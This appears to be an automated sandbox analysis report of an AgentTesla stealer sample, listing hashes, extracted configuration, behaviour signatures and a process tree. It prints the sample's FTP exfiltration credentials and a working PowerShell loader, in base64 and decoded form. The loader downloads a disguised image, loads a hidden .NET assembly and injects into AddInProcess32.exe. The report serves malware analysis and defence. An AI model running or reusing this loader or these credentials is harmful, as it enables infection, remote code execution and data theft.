agenttesla | 65545c87941558733f8e159addc75b5f17e2597e05af3055a708fd49a6164f91

General

Target

morningxla.js
Size

5KB
MD5

8cf579f458819a211f06d8d115980db4
SHA1

07a073341bb83d3ca8bd3ce21edaa5c3e631087a
SHA256

65545c87941558733f8e159addc75b5f17e2597e05af3055a708fd49a6164f91
SHA512

5fd3280406cc5e4c72209ea9712ee905e27b7804dd56c80ae1c33896a837c517a43485658be3095926457a35000d7f5521d6711092b8ebdaf948cbb5308bd7d6
SSDEEP

96:7riEOkQDTAvKq8YjBPBERHnfrL3DGZzmwI7:HiEN1xAL3DGZzq

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.fosna.net
Port:
21
Username:
[email protected]
Password:
=A+N^@~c]~#I

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 4 IoCs

Processes:

wscript.exepowershell.exe

flow pid process

11 3412 wscript.exe
18 3412 wscript.exe
38 2768 powershell.exe
58 2768 powershell.exe

flow	pid	process
11	3412	wscript.exe
18	3412	wscript.exe
38	2768	powershell.exe
58	2768	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

68 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2768 set thread context of 4156 2768 powershell.exe AddInProcess32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeAddInProcess32.exe

pid process

3044 powershell.exe
3044 powershell.exe
2768 powershell.exe
2768 powershell.exe
4156 AddInProcess32.exe
4156 AddInProcess32.exe

flow	ioc
68	ip-api.com

description	pid	process	target process
PID 2768 set thread context of 4156	2768	powershell.exe	AddInProcess32.exe

pid	process
3044	powershell.exe
3044	powershell.exe
2768	powershell.exe
2768	powershell.exe
4156	AddInProcess32.exe
4156	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exeAddInProcess32.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	4156	AddInProcess32.exe
Token: SeManageVolumePrivilege	624	svchost.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

wscript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3412 wrote to memory of 3044	3412	wscript.exe	powershell.exe
PID 3412 wrote to memory of 3044	3412	wscript.exe	powershell.exe
PID 3044 wrote to memory of 2768	3044	powershell.exe	powershell.exe
PID 3044 wrote to memory of 2768	3044	powershell.exe	powershell.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe
PID 2768 wrote to memory of 4156	2768	powershell.exe	AddInProcess32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\morningxla.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3412

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LjQ0NDQ2ZXphYi83Ny4wNi41OS4zMi8vOnB0dGgnICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.44446ezab/77.06.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4156

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:4424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
0f6a3762a04bbb03336fb66a040afb97

SHA1
0a0495c79f3c8f4cb349d82870ad9f98fbbaac74

SHA256
36e2fac0ab8aee32e193491c5d3df9374205e328a74de5648e7677eae7e1b383

SHA512
cc9ebc020ec18013f8ab4d6ca5a626d54db84f8dc2d97e538e33bb9a673344a670a2580346775012c85f204472f7f4dd25a34e59f1b827642a21db3325424b69

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vzvbddz.aol.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/624-98-0x000002C6975F0000-0x000002C6975F1000-memory.dmp

Filesize
4KB

Download
memory/624-90-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-101-0x000002C68EDF0000-0x000002C68EDF1000-memory.dmp

Filesize
4KB

Download
memory/624-82-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-95-0x000002C697600000-0x000002C697601000-memory.dmp

Filesize
4KB

Download
memory/624-92-0x000002C697600000-0x000002C697601000-memory.dmp

Filesize
4KB

Download
memory/624-93-0x000002C6975F0000-0x000002C6975F1000-memory.dmp

Filesize
4KB

Download
memory/624-115-0x000002C697740000-0x000002C697741000-memory.dmp

Filesize
4KB

Download
memory/624-116-0x000002C697740000-0x000002C697741000-memory.dmp

Filesize
4KB

Download
memory/624-117-0x000002C697850000-0x000002C697851000-memory.dmp

Filesize
4KB

Download
memory/624-91-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-113-0x000002C697730000-0x000002C697731000-memory.dmp

Filesize
4KB

Download
memory/624-89-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-88-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-87-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-86-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-85-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-84-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-83-0x000002C6979D0000-0x000002C6979D1000-memory.dmp

Filesize
4KB

Download
memory/624-65-0x000002C68F440000-0x000002C68F450000-memory.dmp

Filesize
64KB

Download
memory/624-81-0x000002C6979B0000-0x000002C6979B1000-memory.dmp

Filesize
4KB

Download
memory/2768-36-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2768-32-0x000001A6B0000000-0x000001A6B02C0000-memory.dmp

Filesize
2.8MB

Download
memory/2768-29-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2768-30-0x000001A6F71A0000-0x000001A6F71B0000-memory.dmp

Filesize
64KB

Download
memory/2768-31-0x000001A6F71A0000-0x000001A6F71B0000-memory.dmp

Filesize
64KB

Download
memory/3044-41-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp

Filesize
10.8MB

Download
memory/3044-19-0x0000026A5B2B0000-0x0000026A5B2C0000-memory.dmp

Filesize
64KB

Download
memory/3044-12-0x0000026A5B270000-0x0000026A5B292000-memory.dmp

Filesize
136KB

Download
memory/3044-17-0x00007FFF3E0F0000-0x00007FFF3EBB1000-memory.dmp

Filesize
10.8MB

Download
memory/3044-18-0x0000026A5B2B0000-0x0000026A5B2C0000-memory.dmp

Filesize
64KB

Download
memory/4156-48-0x0000000005BB0000-0x0000000005BC0000-memory.dmp

Filesize
64KB

Download
memory/4156-44-0x0000000006C20000-0x0000000006C70000-memory.dmp

Filesize
320KB

Download
memory/4156-45-0x0000000006D10000-0x0000000006DA2000-memory.dmp

Filesize
584KB

Download
memory/4156-46-0x0000000006CA0000-0x0000000006CAA000-memory.dmp

Filesize
40KB

Download
memory/4156-47-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4156-33-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4156-43-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/4156-40-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4156-42-0x0000000006170000-0x0000000006714000-memory.dmp

Filesize
5.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads